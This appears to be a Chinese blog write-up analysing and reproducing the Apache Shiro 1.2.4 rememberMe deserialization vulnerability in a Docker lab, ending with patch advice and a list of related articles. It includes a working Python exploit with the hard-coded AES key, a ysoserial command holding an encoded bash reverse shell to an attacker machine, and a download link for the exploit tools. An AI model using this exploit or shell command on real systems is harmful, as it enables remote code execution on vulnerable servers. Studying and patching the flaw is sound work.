前言:

最近在审核漏洞的时候,发现尽管Apache shiro这个反序列化漏洞爆出来好久了,但是由于漏洞特征不明显,并且shiro这个组件之前很少听说,导致大厂很多服务还存在shiro反序列化的漏洞,这里对漏洞进行简单分析与复现。

一.漏洞前析

0x01 什么是Apache Shiro?

Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

0x02 漏洞的特征是什么?

shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段

就像这样:

0x03 漏洞影响

只要rememberMe的AES加密密钥泄露,Apache Shiro <= 1.2.4版本均存在威胁

二.漏洞简介

0x01 漏洞发生的原因

先看下shiro官网的漏洞说明:https://issues.apache.org/jira/browse/SHIRO-550

大概意思是,shiro在登陆处提供了Remember Me这个功能,来记录用户登陆的凭证

然后shiro使用了CookieRememberMeManager类对用户的登陆凭证,也就是remember Me的内容进行一系列处理:

使用Java序列化 ---> 使用密钥进行AES加密 ---> Base64加密 ---> 得到加密后的remember Me内容

同时在识别用户身份的时候,需要对remember Me的字段进行解密,解密的顺序为:

remember Me加密内容 ---> Base64解密 ---> 使用密钥进行AES解密 --->Java反序列化

问题出在AES加密的密钥Key被硬编码在代码里,这意味着攻击者只要通过源代码找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化,AES加密,Base64编码,然后将其作为cookie的remember Me字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

通过源码,果然找到了被硬编码在代码里的Key值:

三.漏洞复现

0x01 环境搭建

这里使用docker进行环境搭建:https://github.com/Medicean/VulApps/tree/master/s/shiro/1

.拉取环境到本地
$ docker pull medicean/vulapps:s_shiro_1
.启动环境
$ docker run -d -p : medicean/vulapps:s_shiro_1

上图即为搭建成功

同时要编译生成ysoserial反序列化利用工具

ysoserial是一款目前最流行的Java反序列化Payload生成工具,目前支持29种的Payload生成。

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

即可生成ysoserial-0.0.6-SNAPSHOT-all.jar文件

0x02 poc利用过程

靶机ip:192.168.127.128

攻击机ip:192.168.127.129

大佬poc:shiro_poc.py:

#coding: utf-8

import os
import re
import base64
import uuid
import subprocess
import requests
import sys
from Crypto.Cipher import AES JAR_FILE = './ysoserial-0.0.6-SNAPSHOT-all.jar' def poc(url, rce_command):
if '://' not in url:
target = 'https://%s' % url if ':443' in url else 'http://%s' % url
else:
target = url
try:
payload = generator(rce_command, JAR_FILE) # 生成payload
r = requests.get(target, cookies={'rememberMe': payload.decode()}, timeout=10) # 发送验证请求
print r.text
except Exception, e:
pass
return False def generator(command, fp):
if not os.path.exists(fp):
raise Exception('jar file not found!')
popen = subprocess.Popen(['java', '-jar', fp, 'JRMPClient', command],
stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext if __name__ == '__main__':
poc("http://192.168.127.128:8080","192.168.127.129:1096")

这里直接以getshell为例

首先制作反弹shell的命令,使用http://www.jackson-t.ca/runtime-exec-payloads.html进行编码

使用ysoserial中的JRMP监听模块,监听1096 端口

这里介绍一下上面poc里面的JRMPClient与下面使用监听命令的JRMPListenter

  • payloads/JRMPClient 是结合 exploit/JRMPListener 使用的
  • JRMPListener是ysoserial 工具里的其中一个利用模块,作用是通过反序列化,开启当前主机的一个 JRMP Server ,具体的利用过程是,将反序列化数据 发送到 Server 中,然后Server中进行反序列化操作,并开启指定端口,然后在通过JRMPClient去发送攻击 payload
  • payloads/JRMPClient 生存的 payload 是发送给目标机器的,exploit/JRMPListener 是在自己服务器上使用的
  • 超详细分析:https://xz.aliyun.com/t/2650

我这里在攻击机上执行监听命令:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar  ysoserial.exploit.JRMPListener 1096 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEyNy4xMjkvODg4OCAwPiYx}|{base64,-d}|{bash,-i}

在要反弹到的机器上执行监听8888端口,静候shell

执行poc:

py -2 shiro_poc.py

可以看到JRMP模块已经成功收到连接请求,同时也执行了我们的payload,shell弹了回来

至此利用成功。

这里提供工具下载包括

  • poc文件
  • ysoserial-0.0.6-SNAPSHOT-all.jar文件
  • 密钥硬编码文件shiro-core-1.2.4.jar

链接:https://pan.baidu.com/s/175Zbe53ahIYese1rZCWFKg
提取码:66p1

四.修补建议

升级shiro到1.2.5及以上,如果shiro的rememberMe功能的AES密钥一旦泄露,就会导致反序列化漏洞。

跟了shiro 1.3.2的代码,看到官方的操作如下:

  • 删除代码里的默认密钥
  • 默认配置里注释了默认密钥
  • 如果不配置密钥,每次会重新随机一个密钥

可以看到并没有对反序列化做安全限制,只是在逻辑上对该漏洞进行了处理。
如果在配置里自己单独配置AES的密钥,并且密钥一旦泄露,那么漏洞依然存在。

参考链接:

https://www.cnblogs.com/paperpen/p/11312671.html

https://paper.seebug.org/shiro-rememberme-1-2-4/

https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q

25. Apache Shiro Java反序列化漏洞的更多相关文章

  1. Apache Shiro Java反序列化漏洞分析

    1. 前言 最近工作上刚好碰到了这个漏洞,当时的漏洞环境是: shiro-core 1.2.4 commons-beanutils 1.9.1 最终利用ysoserial的CommonsBeanuti ...

  2. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  3. Java安全之Shiro 550反序列化漏洞分析

    Java安全之Shiro 550反序列化漏洞分析 首发自安全客:Java安全之Shiro 550反序列化漏洞分析 0x00 前言 在近些时间基本都能在一些渗透或者是攻防演练中看到Shiro的身影,也是 ...

  4. Java反序列化漏洞Apache CommonsCollections分析

    Java反序列化漏洞Apache CommonsCollections分析 cc链,既为Commons-Collections利用链.此篇文章为cc链的第一条链CC1.而CC1目前用的比较多的有两条链 ...

  5. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  6. WEBLOGIC 11G (10.3.6) windows PSU 升级10.3.6.0.171017(Java 反序列化漏洞升级)

    10.3.6版本的weblogic需要补丁到10.3.6.0.171017(2017年10月份的补丁,Java 反序列化漏洞升级),oracle官方建议至少打上2017年10月份补丁. 一.查看版本 ...

  7. Java反序列化漏洞详解

      Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具.本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进 ...

  8. Shiro remeberMe反序列化漏洞复现(Shiro-550)

    Apache Shiro是一个强大易用的Java安全框架,提供了认证.授权.加密和会话管理等功能.Shiro框架直观.易用,同时也能提供健壮的安全性.在Apache Shiro编号为550的 issu ...

  9. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

随机推荐

  1. 201871010119-帖佼佼《面向对象程序设计(java)》第十七周学习总结

    博文正文开头格式:(2分) 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ 这个作业的要求在哪里 https://www.cnblogs.co ...

  2. 201871010133-赵永军《面向对象程序设计(java)》第十二周学习总结

    201871010133-赵永军<面向对象程序设计(java)>第十二周学习总结 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu-daizh/ ...

  3. 201871020225-牟星源《面向对象程序设计(java)》第十一周学习总结

    201871020225-牟星源<面向对象程序设计(java)>第十一周学习总结 博文正文开头: 项目 内容 这个作业属于哪个课程 https://www.cnblogs.com/nwnu ...

  4. 团队冲刺--three

    今天学习css,用css做登录界面. 昨天学习了爬虫了初步. 问题:爬虫很难.

  5. Fedora增加rc-local服务开机自启项

      最近新装了一台Fedora 30系统,服务已经正常运行起来了,但是偶然发现当我的系统重启后,写在rc.local配置文件里的命令居然没生效,导致我系统重启,但是服务却没有正常运行,后来经过一番查阅 ...

  6. vue和react的区别

    数据: vue:双向数据绑定和单向数据流.双向数据绑定:DOM元素绑定的data值,当发生改变后,vue的响应式机制会自动监听data的变化重新渲染.单向数据流:当父组件给子组件传递数据的时候,子组件 ...

  7. 【day05】css

    一.盒模型(BoxModel) 1.width 宽度 2.height 高度  说明: 块元素和有宽高属性的标记(img,input)            能设置宽度和高度,而行元素不能设置宽高 3 ...

  8. linux数据库中使用MD5加密

    MD5加密算法源码下载:https://pan.baidu.com/s/1nwyN0xV 下载完成了之后解压,得到两个文件 环境搭建: 1.把md5.h文件拷贝到/usr/include/目录下 su ...

  9. Linux性能优化实战学习笔记:第三十七讲

    一.上节回顾 上一节,我带你一起学习了网络性能的评估方法.简单回顾一下,Linux 网络基于 TCP/IP协议栈构建,而在协议栈的不同层,我们所关注的网络性能也不尽相同. 在应用层,我们关注的是应用程 ...

  10. win10安装docker并结合Idea2018.1部署springboot项目

    一.准备工作 1..工具:win10,idea2018,maven3.5,jdk8 二.win10安装docker 1.win10安装docker:http://www.runoob.com/dock ...